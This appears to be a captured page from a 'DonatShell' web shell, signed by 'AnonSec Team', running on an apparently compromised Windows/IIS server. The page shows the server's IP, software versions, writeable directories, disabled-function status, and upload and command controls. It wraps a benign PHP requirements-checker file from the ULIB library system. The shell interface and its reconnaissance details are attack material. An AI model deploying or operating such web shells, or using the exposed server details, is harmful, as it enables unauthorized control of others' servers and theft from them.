DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/umedia3/root/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/umedia3/root/function_req.php
<?php
	; 
		
        include ("../inc/config.inc.php");
		head();
        mn_root("function_req");
			pagesection(getlang("ความต้องการของระบบ::l::System Requirement"));

?><BR><TABLE align=center width=550>
<TR>
	<TD><?
function local_html_head($a,$b,$c) {
		?><BR><FONT SIZE="" COLOR="darkblue"><B><?echo getlang($a);?></B></FONT><BR><?
		?><B><? echo getlang("ระบบที่เกี่ยวข้อง::l::Related modules"); ?>: </B><?echo getlang($c);?><BR><? echo getlang("ผลการตรวจสอบ::l::Test result"); ?>: <?
}
function local_html_result($d,$e="") {
	if ($d) {
		?><FONT SIZE="" COLOR="darkgreen"><B><? echo getlang("ผ่านเงื่อนไข::l::PASS"); ?></B> <? echo getlang($e);?></FONT><?
	} else {
		?><FONT SIZE="" COLOR="darkred"><B><? echo getlang("ไม่ผ่านเงื่อนไข::l::FAIL"); ?></B> <? echo getlang($e);?></FONT><?
	}
	echo "<BR><HR>";
}
function local_res($a,$b,$c="") {
	local_html_head($a,$b,$c);
	if (function_exists("$b")) {
		local_html_result(true);
	} else {
		local_html_result(false);
	}
}

/////////////////////////

local_res(getlang("ใช้ Apache เป็น web server::l::Use Apache as web server"),"apache_get_version","Server Software");

//////////////////////////

local_html_head("Apache version &gt; 1.2","","การทำงานของระบบ::l::System Operation");
	$s=apache_get_version();
	$s1=$s;
	$s=trim($s,"Apache/");
	$s=(floatval($s));
	
	if ($s>=1.2){
		local_html_result(true,"");
	} else {
		local_html_result(false,"แนะนำให้ใช้ เวอร์ชัน 1.2+ [ขณะนี้เป็น เวอร์ชัน $s1]::l::Version 1.2+ are recommended [currently $s1]");
	}

/////////////////////////

local_html_head("PHP version &gt; 4","","การทำงานของระบบ::l::System Operation");
	$s=phpversion();
	$s1=$s;
	$s=trim($s);
	$s=(floatval($s));
	
	if ($s>=1.2){
		local_html_result(true,"");
	} else {
		local_html_result(false,"แนะนำให้ใช้ เวอร์ชัน 4+ [ขณะนี้เป็น เวอร์ชัน $s1]::l::Version ++ are recommended [currently $s1]");
	}

/////////////////////////

local_html_head("เวอร์ชัน MySql &gt; 4","","การทำงานของระบบ::l::System Operation");
	$s=mysql_get_server_info($conn);
	$s1=$s;
	$s=floor(floatval($s));
	
	if ($s>=4){
		local_html_result(true,"");
	} else {
		local_html_result(false,"แนะนำให้ใช้ เวอร์ชัน 4+ [ขณะนี้เป็น เวอร์ชัน $s1]::l::Version 4+ are recommended [currently $s1]");
	}

/////////////////////////
/*
local_html_head("MySql Encoding เป็นภาษาไทย::l::Thai encoding in MySql","","การทำงานของระบบ โดยเฉพาะการเรียงอักษร::l::System Operation , especially sorting-function");
	if (mysql_client_encoding($conn)=="tis620"){
		local_html_result(true,"แนะนำให้ใช้ tis620::l::tis620 are recommended");
	} else {
		local_html_result(false,"แนะนำให้ใช้ tis620 [ขณะนี้เป็น ".mysql_client_encoding($conn)."]::l::tis620 are recommended [currently ".mysql_client_encoding($conn)."]");
	}
	*/
	/////////////////////////
	//////////////

local_res("ฟังก์ชันรูปภาพ::l::Image Function","ImageCreate"," Overall Image Related");
//local_res("ฟังก์ชันการเชื่อมต่อ Z39.50::l::Z39.50 Function","yaz_connect","สืบค้นวัสดุสารสนเทศจากห้องสมุดอื่น ๆ::l::Retrieve information from other library");
//local_res("PDF document","pdf_open","บาร์โค้ด, พิมพ์ค่าปรับ, พิมพ์เอกสารอื่น ๆ::l::Barcode, Fines printing, Other documents");
local_res("FSO - Advance File System","file_get_contents","ดาวน์โหลดแบบฟอร์มต่าง ๆ และนำเข้า Marc จาก ULIB-Catalog::l::Download forms and import MARC from ULIB-Catalog ");
local_res("Server Status","system","Server Information");
local_res("Multibyte encoding","mb_detect_encoding","Language transformations");
//local_res("ฟังก์ชันการคำนวณวันเวลา","GregorianToJD","ระบบยืมคืน (หากไม่มีก็สามารถใช้งานโปรแกรม ULIB ได้)");
//local_res("Mail","mail","-");
//local_res("Printing Support","printer_open","ระบบยืมวัสดุอัตโนมัติ");

local_html_head("ปิด Session.auto start::l::Turn session.auto start Off","","Session control");

	if(ini_get("session.auto_start") =="On") {
		local_html_result(false,"ถูกเปิดไว้::l::Turned on");
	} else {
		local_html_result(true,"ถูกปิดแล้ว::l::Turned off");
	}

local_html_head("ฟังก์ชันสำหรับโหลดไฟล์จากอินเทอร์เน็ท::l::Function for downloading data frominternet","","Yaz-Pear-Pecl installing::l::Yaz-Pear-Pecl installing");

	if( !($fd = fopen($dcrURL,"r")) ) {
		local_html_result(false,"ใช้งานไม่ได้::l::Disabled");
	} else {
		local_html_result(true,"ใช้งานได้::l::Enabled");
	}
	

////////////////////////


?><BR><BR>
<HR>
<? echo getlang("<B>หมายเหตุ</B> ระบบนี้ เป็นระบบการตรวจสอบว่าเซิร์ฟเวอร์เครื่องนี้มีฟังก์ชันครบถ้วนตามที่ระบบต้องการหรือไม่ 
หากฟังก์ชันต่าง ๆ ไม่ครบอาจทำให้ใช้งานโปรแกรมได้ไม่ครบทุกฟังก์ชัน<BR>
<U>วิธีแก้ไขหากมีฟังก์ชันไม่ครบถ้วน</U>: ปรับแก้ที่เครื่องเซิร์ฟเวอร์ของท่าน (ไม่เกี่ยวกับตัวโปรแกรม ULIB)
::l::<B>Note</B> This page is a Functions checker, <BR>
if your server disabled some functions 
ULIB might work incorrectly in some modules.<BR>
If some function unavailable on your server? -- Please upgrade your web server not ULIB!
"); ?>

</TD>
</TR>
</TABLE><BR><?
foot();
?>

Anon7 - 2022
AnonSec Team